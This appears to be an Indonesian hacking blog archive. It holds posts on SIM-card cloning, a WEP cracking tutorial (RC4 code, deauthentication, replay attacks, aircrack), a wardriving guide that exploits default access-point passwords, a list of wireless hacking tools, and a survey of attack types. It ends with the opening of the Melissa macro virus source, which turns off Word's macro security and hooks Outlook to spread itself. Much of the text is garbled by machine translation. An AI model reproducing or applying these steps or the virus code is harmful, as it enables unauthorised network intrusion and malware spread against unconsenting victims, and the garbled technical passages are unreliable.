Cloning Sim Card dengan Menggunakan SIM MAX

KEMAJUAN teknologi komunikasi dalam penggunaan ponsel berbasis GSM sekarang ini sudah mencapai jumlah yang sangat signifikan dan mulai menimbulkan persoalan-persoalan baru yang tidak pernah ditemui sebelumnya. Persoalan yang muncul sebenarnya bukan pada peralatan ponsel yang sangat masif di pasaran dari berbagai model, tetapi lebih pada persoalan-persoalan yang menyangkut persoalan harga, kekuatan sinyal, serta fasilitas layanan yang disediakan oleh para operator GSM.

HARGA memang selalu menjadi persoalan utama para pengguna ponsel GSM di mana saja, termasuk di Indonesia. Ini terlihat dari banyaknya jumlah pengguna GSM yang memilih skema pembayaran pre-paid dengan memilih SIM Card isi ulang yang sangat populer. Lebih dari 80 persen SIM Card di berbagai operator GSM di Indonesia adalah para pelanggan yang membayar di muka dengan pilihan isi pulsa yang variatif.

Banyaknya pengguna jasa GSM juga menyebabkan masalah lain, terutama berkaitan dengan kekuatan sinyal dari berbagai base station yang terasa mulai sesak dan tidak tertatanya pusat penerima sinyal GSM. Akibatnya, kita pun selalu kesal karena tidak bisa memperoleh sinyal di kawasan tertentu di Jakarta.

Di sisi lain, karena kemajuan teknologi perangkat ponsel sendiri, tidak semua operator GSM memiliki jasa layanan multimedia masa kini seperti GSM, MMS, dan sejenisnya. Karena persoalan ini, banyak pelanggan GSM memiliki lebih dari satu SIM Card dari beberapa operator untuk bisa menikmati berbagai jasa layanan yang tidak dimiliki oleh operator lain.

Kenyataan ini kemudian melahirkan berbagai solusi menarik, termasuk di antaranya Sim Max, sebuah perangkat untuk melakukan kloning SIM Card yang mudah digunakan. Orang biasanya merasa terkejut pada perangkat Sim Max yang mampu melakukan kloning berbagai ragam SIM Card dan memasukkannya ke dalam sebuah SIM Card lain yang memungkinkan penggunanya memiliki 12 nomor ponsel dalam sebuah SIM Card.

Proses kloning

Perangkat Sim Max ini terdiri dari sebuah perangkat berbentuk segitiga yang disambung ke komputer menggunakan saluran USB (Universal Serial Bus) yang berfungsi untuk membaca berbagai SIM Card yang dikeluarkan oleh operator GSM dan menulis seluruh informasi SIM Card milik operator ini ke sebuah SIM Card baru yang disediakan. Proses kloning SIM Card ini sendiri memang membutuhkan waktu, namun berlangsung lebih cepat dibandingkan dengan seri sebelumnya.

Sim Max sebenarnya melakukan proses menerjemahkan algoritma secara berurutan sehingga membutuhkan waktu yang cukup lama,kira-kira membutuhkan waktu sekitar 1,5-4 jam.

Perangkat Sim Max ini memiliki beberapa keuntungan tersendiri sebagai sebuah pemindai SIM Card dengan frekuensi tinggi. Sim Max ketika melakukan proses kloning SIM Card dengan frekuensi 7 MHz membutuhkan waktu paling tidak 2,5 jam. Sedangkan pada pemindai SIM Card dengan frekuensi 3,5 MHz, prosesnya menjadi semakin lama, sampai 6,5 jam.

Keuntungan lain menggunakan Sim Max adalah SIM Card yang sudah dikloning ini ketika digunakan pada ponsel GSM bisa secara bergantian digunakan tanpa harus mematikan dan menghidupkan kembali ponsel yang digunakan. Teknologi sebelumnya mengharuskan ponsel dimatikan terlebih dahulu sebelum menggunakan SIM Card yang sudah dikloning.

Keseluruhan nomor ponsel yang bisa dimuat Sim Max mencapai 12 buah nomor yang bisa dibedakan satu dengan lainnya melalui penampilan nomor yang digunakan. Kelebihan Sim Max lainnya adalah kemampuannya untuk memberikan berbagai fungsi seperti screen saver, logo, dan pemilihan nada dering (ring tone). Bahkan, Sim Max juga mampu untuk memuat 250 buah nama alamat dalam phonebook, serta menerima dan menyimpan SMS yang sekarang menjadi sarana komunikasi paling efektif dan murah.

Kemudahan komunikasi

Sim Max memiliki berbagai sisi positif dibanding kemampuannya untuk disalahgunakan, seperti pada proses kloning yang selama ini menjadi momok bagi para pengguna ponsel GSM. Selain itu, Sim Max sendiri memiliki keterbatasannya sendiri, misalnya, tidak bisa digunakan pada semua perangkat ponsel GSM yang ada. Kompas sendiri menggunakan pada perangkat Philips 9@9+++, namun pada perangkat ponsel lainnya Sim Max bisa digunakan bila sudah ditingkatkan sistem operasinya (firmware upgrade).

Keunikan Sim Max ini sebenarnya mengisyaratkan dimulainya sebuah era penggunaan komunikasi selektif. Artinya, pengguna jasa GSM sekarang ini cukup memiliki satu SIM Card saja untuk berkomunikasi suara menggunakan jasa operator tertentu yang murah dan menggunakan komunikasi SMS untuk komunikasi lainnya.

Atau, perangkat Sim Max ini juga akan sangat bermanfaat bagi mereka yang memiliki dan menggunakan jasa operator GSM luar negeri, sehingga ketika berada di luar negeri cukup memindahkan nomor ponsel di dalam Sim Max untuk menggunakan jasa operator GSM di negara tujuan. Memudahkan dan tidak berisiko kehilangan SIM Card karena lupa menyimpan di mana.

Sim Max sendiri di satu sisi menunjukkan di mulainya sebuah komunikasi alternatif bagi para pengguna ponsel GSM. Memiliki berbagai SIM Card dari berbagai operator, karena berbeda jasa layanan dan kualitas serta kemudahan kepemilikan sistem pre-paid, sering kali merepotkan dan tidak nyaman. Memiliki beberapa nomor telepon dan jasa layanan GSM di Sim Max akan membawa kita ke sebuah pengalaman bertelekomunikasi yang berbeda sama sekali.

Category: 0 komentar

Wireless Hacking Tutorial

WEP adalah Wired Equivalent Privacy. Ini merupakan standar untuk enkripsi nirkabel sampai sekarang. Banyak orang bahkan tidak menggunakan WEP karena keamanan yang lemah, repot, atau WEP sangat pointless, karena bisa dicrack, walaupun biasanya memakan waktu cukup lama untuk memperoleh cukup data untuk mendapatkan password WEP, terutama password yang sangat panjang.
WEP terdiri dari password rahasia dan enkripsi. Password rahasia yang digunakan bersama antara akses point dan semua orang di jaringan nirkabel, terdiri dari 5 atau 13 karakter. Digunakan oleh proses enkripsi untuk komunikasi paket yang disamarkan sepanjang WLAN, atau Wireless Local Area Network. Semua paket yang unik dan acak, jadi jika seseorang melakukan crack pada satu paket key, mereka tidak dapat melihat apa yang dilakukan orang lain tanpa melakukan cracking pada mereka juga.
Ini semua dilakukan dengan menggunakan password rahasia bersamaan dengan tiga karakter (the Initialization Vector, atau IV) yang dipilih secara acak oleh perangkat nirkabel. Misalnya, jika Anda adalah password “hello”, mungkin membuat “abchello” untuk satu paket, dan “xyzhello” untuk lainnya.
WEP juga menggunakan XOR, atau Eksklusif ATAU, untuk enkripsi. XOR membandingkan dua bit, dan jika theyre berbeda, ia akan mengembalikan 1. Jika tidak, ia akan mengembalikan 0. Misalnya, 1 XOR 1 akan 0, dan 1 XOR 0 akan 1.
Array adalah variabel yang dapat menyimpan beberapa nilai. Misalnya, array abjad [26] akan terus nilai 26, yang diberi label 0 melalui 25.
Contoh:
alphabet[0] = ‘A’;
alphabet[1] = ‘B’;
void swap(char &first, char &second)
{
char temp = first;
first = second;
second = temp;
}
swap(alphabet[0], alphabet[1]);
Jika nilai-nilai array swapped randomely telah berkali-kali, maka tidak mungkin dikirim ke array elemen yang memegang nilai.
Algoritma yang sebenarnya digunakan oleh WEP untuk mengenkripsi paket yang adalah RC4. RC4 terdiri dari dua langkah: dengan password dan Penjadwalan Algoritma Pseudo Random Generasi Algoritma. Bagian pertama, yang Penjadwalan Algoritma password, atau KSA, seperti ini dalam kode C, assuming k [] adalah array dari password rahasia:
int n = 256;
char s[n];
// initialization
for (int i = 0; i <= (n – 1); i++)
s[i] = i;
int j = 0;
// scrambling
for (int l = 0; l <= (n – 1); l++)
{
j += s[l] + k[l];
swap(s[l], s[j]);
}

Mari kita telaah kode di atas hingga kita tahu bahwa:
1. Integer ‘n’ menentukan seberapa kuay enkripsi yang kita buat. WEP disini menggunakan 256.
2. Array karakter ‘k’ adalah password rahasia yang dikombinasikan dengan tiga karakter palsu. Hal ini tidak berubah sama sekali dalam program ini.
3. Tanda ’//Inisialisasi’ hanya merupakan inisialisasi, sebanyak karakter 0-255.
4. Integer ‘j’ digunakan untuk memegang nilai selama scrambling. Selalu diinisialisasi ke 0, karena harus selalu di mulai 0.
5. Selanjutnya, (di mana ‘/ / scrambling’) scrambling proses dimulai. Pada dasarnya akan menghasilkan ’s’ array “acak” dari sebelumnya ‘ s’ array yang ditentukan.
6. Di dalam lingkaran, yang pertama mereka merges password (k) dengan acak array (s) untuk membuat sebuah karakter selesai. Lalu, panggilan untuk swap () menempatkan ke dalam array dari karakter selesai.
Sekarang saatnya untuk bagian kedua dari algoritma RC4, maka Algoritma Pseudo Random Generation (PRGA). Bagian ini output streaming password berdasarkan KSA’s pseudo-acak array. Streaming key ini akan digabung dengan data cleartext untuk menciptakan data yang dienkripsi.
int i = 0;
int j = 0;
int z;
while (data_disini)
{
i++;
j += s[i];
swap(s[i], s[j]);
z = s[s[i] + s[j]];
// z is outputted here
// and then XOR’d with cleartext
}
1. Integers’ i ‘dan’ j ‘telah dideklarasikan dan diinisialisasi ke 0.
2. Terdapat satu lingkaran yang berjalan sampai akhir paket data tersebut tercapai.
3. ‘I’ adalah incremented dalam setiap perulangan dari lingkaran itu agar tetap berjalan.
4. ‘J’ memegang pseudo-nomor acak.
5. Pemanggil lain untuk swap () karakter yang aktif dalam s [i], dan s [j].
6. ‘Z’ dihitung dengan menambahkan s [i], dan s [j] dan mengambil nilai dalam elemen sesuai jumlah mereka. Alasan ini akan dijelaskan nanti.
7. ‘Z’ adalah XOR’d dengan cleartext untuk membuat teks baru dienkripsi.
Berhubung dgn putaran CRC stands for redundancy checksum. Ketika paket-paket yang dikirim ke seluruh jaringan, harus ada cara untuk mengetahui host menerima paket belum rusak dengan cara apapun. Ini adalah tujuan dari CRC. Sebelum data dikirim, CRC menghitung nilai, atau checksum, untuk paket yang akan dikirim dengan paket. Bila diterima, target host menghitung baru dari checksum menggunakan CRC. CRCs Jika cocok, maka paket dari kredibilitas telah dikonfirmasi.
Ringkasnya. Access Point menciptakan pseudo-acak karakter. Mereka bergabung dengan berbagi prechosen password untuk membuat password rahasia. KSA kemudian menggunakan password ini untuk membuat pseudo-acak array, yang digunakan oleh PRGA streaming untuk membuat key. Password ini kemudian di XOR dengan cleartext untuk menciptakan data dienkripsi, dan masuk ke dalam CRC dan membuat checksumnya.
Kemudian, untuk penerimaan host decrypts. Karakter ditambahkan oleh AP yang akan dihapus dan digabung dengan key untuk dikirim kembali bersama dengan password rahasia. Password masuk melalui seluruh proses RC4, dan XOR’d dengan teks terenkripsi, dan menciptakan cleartext checksum. Checksum akan dihapus dan dibuat yang kemudian dibandingkan untuk melihat apakah data selamat, dan apakah ini merupakan pengguna asli.
Bagian II: Cracking WEP
Sebelum kita masuk cracking WEP, mari kita bahas beberapa flaws dalam proses enkripsi:
* Ada 5% kesempatan bahwa nilai dalam s [0]-s [3] tidak akan berubah setelah tiga Iterasi oleh KSA.
* Yang pertama nilai dalam data dienkripsi adalah SNAP, yang 0xAA, atau 170 basis 10. Sniffing pertama dari byte dan teks terenkripsi XOR-ing dengan 170 akan memberikan output byte pertama dari PRGA.
* J format tertentu yang byte yang diberikan oleh AP akan menunjukkan bahwa ia adalah lemah dan mudah untuk di crack. Format ini (B + 3, 255, X), dimana B adalah byte dari password rahasia. Dimana X dapat bernilai apapun.
Kita akan berbicara tentang KSA sekarang. Mari kita menetapkan beberapa variabel untuk “pengujian”:
* Karakter kode yang diambil dari AP adalah 3255,7. Kami sniffed itu dari udara. Kami akan menggunakannya karena hasil tes telah menunjukkan itu adalah kode yang sangat lemah.
* Shared passwordnya adalah 22222. Dalam prakteknya, Anda tidak akan tahu ini.
* N adalah 256.
* Jika ada nilai di atas 256, modulo operasi akan digelar di atasnya. Nilai yang dihasilkan itulah yang akan digunakan.
* Array ’s’ telah dipastikan, dengan nilai 0-255.
Buka program Kismet. Kismet adalah scanner nirkabel bebas untuk Linux. Bila Anda membukanya, Anda akan melihat daftar WLAN yang berada dalam jangkauan. Pilih salah satu dan buat catatan dari keempat rincian berikut ini (perlu diketahui bahwa target komputer didapat dari setiap host pada WLAN):
* AP MAC Address
* MAC Address komputer target.
* WEP – Key digunakan
* Wi-Fi- saluran yang digunakan
Buka Aircrack dan anda akan mulai menangkap paket-paket. Anda juga akan menangkap IVs. Tapi ini memakan waktu lama. Ia bahkan dapat berlangsung selama beberapa jam atau hari untuk menangkap jumlah IVs ke crack password WEP.
Untungnya, kami dapat mempercepatnya. Misalnya, jika WLAN sangat sibuk, maka akan lebih banyak lalu lintas paket IVs, sehingga IVs lebih mudah diambil. Jika kami terus ping ke jaringan, akan menghasilkan lebih banyak paket data.
ping-t-l 50000 ip_address
Jadi apa yang harus dilakukan sekarang? Kami memiliki sedikit data, tetapi kita harus mendapatkan password WEP di sini. Ada waktu untuk meloloskan void11. Void11 yang di deauthenticate AP ke semua host yang ada disana. Cutting off dilakukan hingga ke seluruh host. Hal pertama yang dilakukan dalam hal ini adalah automaticall yang akan mencoba untuk menyambung kembali koneksi ke AP.
Namun ada teknik lain yang disebut replay attack. Ini menangkap sebuah paket dari sebuah host pada WLAN, kemudian melakukan spoofs host dan terus mengulang paket berulang ulang. Menghasilkan lalu lintas paket data yang sangat besar. Yang terbaik dari program ini adalah airreplay. Ini adalah untuk apa void11 digunakan.
Buka airodump. Sekarang, ucapkan terima kasih kepada Replay Attack. IV berjalan sekitar 200 per detik. Wow! Anda mungkin akan mendapatkan semua paket yang diperlukan dalam waktu 10 menit. Semua IVs sedang ditulis ke dalam file yang akan diambil. Kemudian buka aircrack. Aircrack akan membaca semua IVs yang di ambil dari file, dan melakukan analisis statistik pada file tsb. Lalu, ia akan berusaha untuk brute force file” yang ada. Setelah menemukan passwordnya, password itu akan diberikan pada anda.
Hehehe.. Finally: Kamu sudah mendapatkan passwordnya

Category: 0 komentar

Wardriving


Langkah-langkah untuk wardriving di windows adalah sbb :

  • Kita cari dulu AP dengan menggunakan Network Stumbler (netstumbler) 
  • Software ini lebih ungul dibanding software wireless client punyaan windows. Software ini akan memberikan informasi tentang Channel, MAC Address, SSID, Speed, Vendor, Type, Encryption, SNR, Signal+, Noise- dari jaringan wireless yang dapat kita tangkap. Tapi untuk enkripsi, netstumbler masih belum bisa membedakan antara WEP, WPA, WPA2 (semua dianggap WEP). Untuk kualitas sinyal selain ditampilkan secara angka, kita juga bisa melihat secara grafik. Dari informasi ini kita dapat mengetahui apakah ada sinyal yang dapat ditangkap tanpa enkripsi….. jika ada silahkan connect, siapa tahu itu akses internet. Jika tidak ada……. Jika sinyal kurang kuat……
  • AP Default Password
    Ini adalah suatu kesalahan yang sering aku jumpai. Para admin biasanya
    “malas” untuk merubah username, password, ip default dari AP yang dia gunakan. misalnya di daerahku AP untuk jarak jauh yang paling banyak digunakan adalah merk senao dengan username “admin”, password [kosong] , Default IP: 192.168.-.-. Inilah yang menyebabkan kita dapat melakukan “oprek” Access Point secara web browser.
  • Penguatan sinyal
    Ada berbagai cara untuk menguatkan sinyal wifi kita. Tapi menurutku yang
    paling simple yaitu menggunakan USB Wifi. Dengan USB Wifi ini kita dapat memperpanjang kabel dengan menggunakan kabel UTP/ LAN kualitas bagus yang dimodifikasi menjadi kabel USB. Selain itu kita tidak membutuhkan sumber daya lagi, karena sudah tersuplly oleh kabel USB ini. Selajutnya kita naikkan USB Wifi kita sebagai antena. Jika masih kurang kuat ada beberapa cara modif dengan teknik parabolic (wajanbolik), atau penggantian antena USB Wifi itu sendiri, terutama yang ada antena eksternalnya.
  • Injeksi Paket
    Bagian inilah yang kita laksanakan jika tidak ada yang memakai AP Default Password. Ini merupakan hal yang paling sulit, terutama untuk pencarian chipset yang digunakan wifi yang bisa digunakan untuk injeksi paket di pasaran. Dalam hal ini chipset yang paling terkenal yaitu “ATHEROS”. Tapi tidak semua chipset atheros mendukung injeksi paket, soalnya kita harus mengganti driver bawaanya dengan driver yang support injeksi paket, tidak hanya monitoring. Wildpackets dan Tamos adalah perusahaan yang membuat driver untuk wifi adapter kita supaya bisa injeksi paket yaitu airopeek dan CommView.  Contoh chipset atheros yang cocok untuk ini yaitu AR5000 Series (misalnya : D-Link AirPro DWL-A650 Wireless Cardbus Adapter, Intel(R) PRO/Wireless 5000 LAN Cardbus Adapter, Intel(R) PRO/Wireless 5000 LAN 3A Mini PCI Adapter, LinkSys Instant Wireless PC Card (WPC54A), NetGear HA501 Wireless Adapter, Proxim Harmony 802.11a Network Adapter (Model 8450), Proxim Skyline 802.11a, Network Adapter (Model 4030), SMC EZ Connect 802.11a Wireless Cardbus Adapter (2735W), Sony 802.11a Wireless LAN Adapter (PCWA-C500)).

Category: 0 komentar

Software-software untuk Hacking Wireless

Berikut adalah beberapa software yang dapat Anda gunakan untuk hacking Wireless, namun disini tidak dibahas mengenai tutorial dan juga tidak menyediakan link download. Jadi silakan cari sendiri melalui google. 

agnet Laptop Analyzer 6
AirMagnet Laptop Analyzer adalah aplikasi yang menawarkan sistem keamanan wireless bagi laptop. Aplikasi ini mampu mendeteksi lebih dari 130 masalah jaringan wireless.

AiroPeekNX 301
AiroPeekNX aplikasi yang berfungsi untuk menganalisa jaringan wireless. Analisa jaringan dapat dilakukan sampai analisa protocol dan juga secara remote. AiroPeekNX medukung hampir semua kebutuhan mengelola jaringan wireless.

Airscanner Mobile AntiVirus Pro
Semakin berkembangnya jaringan wireless pada PDA maupun Smartphones maka peningkatan serangan dari pihak luar dengan memanfaatkan virus akan semakin besar oleh karena itu Mobile AntiVirus Pro menawarkan aplikasi yang membuat anda terhindar dari sebagian besar serangan virus tersebut.


AirscannerMobile Encrypter
Airscanner Mobile Encrypter memberikan kamu kendali terhadap enkripsi/dekripsi pada dokumen-dokumen yang penting yang ada dalam Pocket PC. Tiap file dapat menggunakan password tersendiri dalam enkripsinya.

AirscannerMobile Firewall
Airscanner Movile Firewall menawarkan sistem keamanan buat PocketPC dalam penyaringan paket-paket data yang diterima melalui suatu jaringa. Selain itu juga untuk mencegah akses yang berbahaya. Aplikasi ini memungkinkan Anda menentukan penyaringan terhadap paket-paket data tersebut dengan terlebih dahulu mendefenisikannya.

Asleap [Cygwin]
Tool ini berfungsi untuk recovery password pada sistem pengamanan jaringan LEAP/PPTP.

Boingo Wireless 1.4 build 1195
Dengan boingo Anda hanya butuh satu password dan username untuk masuk ke berbagai jaringan wireless yang ada. Boingo mendukung login mencapai 17000 hotspot.

BVRP Connection Manager Pro 1.03
BVRP Connection Manager Pro adalah aplikasi yang akan membantu Anda untuk berpindah dari suatu jaringan ke jaringan lainnya dengan mudah. Selain itu aplikasi ini mampu menampilkan informasi jaringan tersebut.

DMZS Carte 0.9.rc1
DMZS-carte adalah aplikasi yang dikembangkan dengan pemrograman perl, yang membutuhkan input berupa teks dari netstumbler dan menghasilkan gambar peta.

Colligo Workgroup Edition 3.2
Colligo Workgroup Edition adalah aplikasi yang bisa digunakan untuk koneksi terhadap berbagai jaringan yang ada dalam jangkauan.Setelah koneksi pada jaringan tersebut maka Anda akan dengan mudah dapat membagi dokumen-dokumen tertentu dalam jaringan tersebut. Selain itu juga bisa membagi koneksi internet, printer, informasi jadwal di outlook.

CommView for WiFi 5.2 build 480
CommView for WiFi adalah aplikasi yang berfungsi untuk menganalisa dan memantau jaringan wireless. Aplikasi ini mampu menampilkan informasi secara grafis yang akurat, selain itu juga mendukung labih dari 70 protokol yang dapat dianalisa.

Easy WiFi Radar 1
Easy Wi-Fi Radar merupakan tool yang dapat membantu Anda menemukan jaringan wireless yang tersedia disekitar Anda. Lalu Anda bisa dengan mudah terkoneksi kejaringan tersebut, asalkan jaringan tersedia untuk umum.

EggKey Gateway 1.0.66
Eggkey Gateway adalah aplikasi yang dibuat khusus untuk mengendalikan pengguna access point wireless. EggKey Gateway menyediakan autentifikasi berbasis web, sehingga pengguna dapat menggunakan layanan internet yang disediakan.

LinkFerret Network Monitor
LinkFerret adalah aplikasi pemantau jaringan yang lengkap berbasis windows. Sebagai aplikasi pemantau jaringan LinkFerret termasuk aplikasi yang dapat diandalkan dan tersedia dengan harga yang cukup terjangkau.

GoToMyPC 4.1
GoToMyPC dengan aplikasi ini maka kendali jarak jauh terhadap PC Anda yang terkoneksi dengan internet atau jaringan wireless dapat dilakukan dimana saja. Berbagai kegiatan tersebut seperti mengakses file, menggunakan program, periksa email dan masih banyak lagi. Anda akan serasa duduk didepan PC tersebut.

Highwall Personal Wireless Security version 2.0
Highwall Personal Wireless Security dapat menjadi solusi bagi Anda yang membutuhkan keamanan saat menggunakan jaringan wireless.

JiWire Hotspot Locator 2
JiWire Hotspot Locator ini digunakan secara offline. Aplikasi ini mampu memberikan informasi lokasi access point yang ada diseluruh dunia. Didalamnya juga terdapat beberapa access point di Indonesia.

Hotspotter
Hotspotter berfungsi untuk mengenal pengakses jaringan yang ada dalam jaringan wireless lalu membandingkan identifikasi pengakses dengan daftar pengguna yang tercatat. Apabila identifikasi pendaftar ada pada daftar tersebut maka pengakses diperbolehkan pengguna jaringan. Aplikasi ini mampu menggunakan menjalankan program untuk menolak akses dari pengguna tak dikenal.

I’m InTouch 5.0
I`m InTouch adalah aplikasi yang berfungsi melayani pengaksesan PC dari jarak jauh. Caranya dengan install terlebih dahulu aplikasi tersebut pada PC Anda, setelah itu Anda bisa mengaskes secara aman PC Anda dimana saja. Berbagai kegiatan dapat dilakukan layaknya didepan PC tersebut. Disini hanya tersedia seeder-nya saja. Untuk menginstalasi aplikasi ini Anda butuh koneksi Internet agar dapat mendownload keseluruhan aplikasi yang dibutuhkan.

12Planet Instant Messaging Server 2.6
Aplikasi ini mampu membuat sebuah server untuk saling mengirim pesan singkat. Kelebihan dari aplikasi ini adalah memungkinkan tidak diperlukannya instalasi pada client. Karena aplikasi ini mampu berintegrasi dengan protokol Microsoft Messenger Instant Messaging

iPIG WiFi Hotspot VPN Security
iPIG WiFi Hotspot VPN Security adalah aplikasi yang berfungsi menjaga keamanan transfer data khususnya pada jaringan wireless.

Microsoft VirtualWiFi
VirtualWiFi adalah aplikasi yang memungkinkan penggunaan berbagai jenis jaringan wireless hanya dengan sebuah Wi-Fi card.

MiniStumbler 0.4.0
Tool gratisan ini berfungsi untuk mengetahui keadaan jaringan wireless sekitar Anda berbagai informasi secara table maupun grafis. Tool ini berjalan pada hampir seluruh Pocket PC.

NetStumbler 0.4.0
Tool gratisan ini berfungsi untuk mengetahui keadaan jaringan wireless sekitar Anda berbagai informasi secara table maupun grafis.

Network Magic 2
Network Magic adalah solusi bagi pengelolaan jaringan wireless. Membagi dokumen dan penggunaan printer dalam suatu jaringan wireless akan lebih mudah. Selain itu juga aplikasi ini dapat mendeteksi penyusup yang masuk dalam jaringan wireless yang Anda kelola.

Packetyzer
Packetyzer menampilkan tampilan menyerupai windows dan memiliki hampir semua kemampuan Ethereal. Aplikasi ini mampu menangkap paket data dan menganalisa hampir semua analisa protokol.

PCTEL Wi-Fi Roaming Client 3.100.90.1
PCTEL Roaming Client adalah tool untuk mengelola akses WiFi(802.11) jaringan. APlikasi ini mampu mendeteksi secara otomatis jaringan WiFi dan menyimpan konfigurasi jaringan.

PortMapper 1.0
PortMapper adalah aplikasi yang berfungsi untuk mengatur penggunaan port. Khususnya bagi para gamer yang sering bermain game online. Manfaat dari pengaturan port ialah dapat terhindar dari pengaksesan dari pihak luar melalui port-port yang terbuka itu.

PTS TracerPlus Wireless Server 2.1.0.59
TracerPlus Wireless Server memungkinkan perusahaan membuat sebuah server jaringan wireless yang tersedia dalam harga yang lebih terjangkau. Aplikasi ini dapat melakukan koneksi dengan database yang ada di sever dengan koneksi ODBC.

Radiuz Wizard 1.0
Radiuz dapat membuat sebuah sistem keamanan jaringan wireless yang fleksibel. Aplikasi ini menggunakan standar keamanan WPA. Pengguna dapat mengendalikan akses kendali dari luar. Radiuz Wizard secara otomatis berintegrasi dengan Windows XP dalam pengelolaan jaringan wireless.

Retina WiFi Scanner
Retina WiFi Scanner adalah aplikasi pendeteksi bentuk-bentuk tindakan penyerangan dan juga menemukan celah-celah keamanan yang akan merugikan.

SpotLock 1.6.134
SpotLock adalah aplikasi yang berfungsi untuk keamanan jaringan data sehingga terbebas dari hacker maupun sniffer. Selain itu aplikasi ini juga bisa berfungsi sebagai hotspot locator.

Weplab
weplab adalah tool yang berfungsi untuk memantau keamanan jaringan pada enkripsi WEP yang ada dalam jaringan wireless. Aplikasi ini juga menyediakan berbagai fitur serangan sehingga dapat memperkirakan syarat minimum dalam membobol keamanan dari jaringan tersebut.

WIFI Internet Access Blocker version 2.0.2
WiFi Internet Access Blocker adalah aplikasi yang berfungsi untuk menjaga jaringan wireless Anda yang terkoneksi ke Internet agar tidak disusup oleh orang lain yang ingin menggunakan internet tanpa seijin Anda.

ManageEngine WiFi Manager 4.0
WiFi Manager adalah aplikasi untuk mengelola koneksi jaringan wireless 802.11a/b/g. Aplikasi ini menawarkan tampilan berbasis web. Dengan begitu pengelolaan koneksi wireless keseluruhan jaringan dapat dengan mudah dilakukan.

WirelessMon v1.0 1000
WirelessMon adalah aplikasi yang berfungsi untuk memantau keadaan jaringan wireless yanga ada disekitar area Anda. Selain itu beberapa informasi mengenai jaringan wireless tersebut juga dapat diketahui.

SingleClick Wireless Security 2.0
Tool ini akan membantu anda dalam menjaga keseluruhan sistem keamanan jaringan wireless. Anda dapat dengan mudah mengkonfigurasi router ataupun berbagai alat pengelola jaringan lainnya.

Wi-Fi Defense
Wi-Fi Defense adalah aplikasi yang beroperasi dibalik layar, dan akan memberikan pemberitahuan apabila ada hardware yang akan masuk kedalam jaringan wireless tersebut. Pemberitahuan tersebut tersedia dalam icon dan popup window.

Zonerider Gateway 2.0
Zonerider adalah aplikasi yang memperbolehkan pembagian akses jaringan wireless kepada orang lain. Istilahnya PC kita dapat sebagai hotspot jaringan. Apabila PC kita terdapat akses internet maka mereka yang tergabung dalam jaringan tersebut akan dapat menikmati koneksi internet tersebut.

Category: 0 komentar

Jenis - Jenis Hacking Wireless

Sniffing to Eavesdrop
Packet yang merupakan data seperti Akses HTTP, Email dll, yang melewati transmisi wireless gelombang dapat dengan mudah juga ditangkap dan dianalisa oleh attacker dengan menggunakan aplikasi “Packet Sniffer”

Deniel Of service attack
Inilah serangan yang paling ditakutkan oleh para Admin. Denial Of service memang relatif sulit untuk dicegah. Serangan ini dapat menimbulkan downtime pada jaringan. Tool gratisan seperti Wireless LANJack dan hunter_killer mampu melakukan serangan ini. Serangan ini bisa saja diarahkan pada user biasa agar user tersebut tidak bisa terkoneksi dengan suatu access point. Tujuannya tak lain adalah supaya tidak ada pengguna yang bisa menggunakan layanan jaringan Karena adanya kekacauan lalulintas data (penolakan layanan).
Serangan jenis ini yaitu dengan membanjiri/flooding yang mengakibatkan sinyal wireless berbenturan dan menghasilkan packet-packet yang rusak.
Seorang penyusup bisa saja mengelabui Extensible Authentication Protocol (EAP) untuk melakukan serangan DoS terhadap suatu server. Aksi ini dibarengi dengan melakukan flooding data. Dengan demikian maka tidak ada satu pun user yang bisa melakukan koneksi dengan layanan jaringan.

Man in the middle attack
“Man-in-the-middle”. Sebenarnya ini adalah sebutan bagi sang penyusup. Serangan Man-in-the-Middle dilakukan dengan mengelabui koneksi VPN antara komputer pengguna resmi dan access point dengan cara memasukkan komputer lain di antara keduanya sebagai pancingan. Jenis serangan ini hampir sama dengan jenis serangan pada jaringan kabel. Program yang digunakan juga sama, kecuali perangkat wirelessnya. Dengan menggunakan sebuah program, penyusup mampu memosisikan diri di antara lalu lintas komunikasi data dalam jaringan nirkabel.
Serangan seperti ini mudah dilakukan dengan bantuan software yang tepat, misalnya saja Wireless LANJack atau AirJack. Akan tetapi serangan jenis ini juga relatif mudah dicegah dengan IDS yang handal yang mampu memonitoring 24 jam sehari.

Rogue/Unauthorized Access Point
Rogue AP ini merupakan ancaman karena adanya AP liar yang dipasang oleh orang yang ingin Menyebarkan/memancarkan lagi tranmisi wireless dengan cara illegal/tanpa izin, yang menyebabkan penyerang dapat menyusup di jaringan melalui AP rogue ini.

Access Point yang dikonfigurasi tidak benar
Hal ini sangat banyak terjadi karena kurangnya pemahaman dalam mengkonfigurasi system keamanan AP.

Network Injection
Apabila sebuah access point terhubung dengan jaringan yang tidak terfilter secara baik, maka penyusup berpotensi untuk melakukan aksi boardcast – seperti spanning tree (802.1D), OSPF, RIP, dan HSRP. Dalam kondisi ini, maka semua perangkat jaringan akan sibuk dan tidak mampu lagi bekerja sebagaimana mestinya. Routing attack juga termasuk dalam serangan jenis ini. Sang penyusup bisa melakukan hal ini dengan mudah menggunakan program seperti IRPAS, yang dipergunakan untuk melakukan injeksi data pada update routing di jaringan, mengubah gateway, atau menghapus table routing yang ada.

Kegiatan yang mengancam keamanan jaringan wireless tersebut di atas dilakukan dengan cara-cara yang dikenal dengan nama Warchalking, WarDriving, WarFlying, WarSpamming, WarSpying dll. Banyaknya Access Point/Base Station yang dibangun yang seiring dengan mulai murahnya biaya berlangganan koneksi internet maka kegiatan-kegiatan hacking ytersebut di atas, biasa diterapkan untuk mendapatkan akses internet secara illegal yang tentunya tanpa perlu membayar alias gratis.

Category: 0 komentar

Source Code Virus Mellisa

Private Sub AutoOpen() 
On Error Resume Next 
p$ = "clone" 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then 
CommandBars("Macro").Controls("Security...").Enabled = False 
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& 
Else 
p$ = "clone" 
CommandBars("Tools").Controls("Macro").Enabled = False 
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) 
End If 
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 
Set UngaDasOutlook = CreateObject("Outlook.Application") 
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then 
If UngaDasOutlook = "Outlook" Then 
DasMapiName.Logon "profile", "password" 
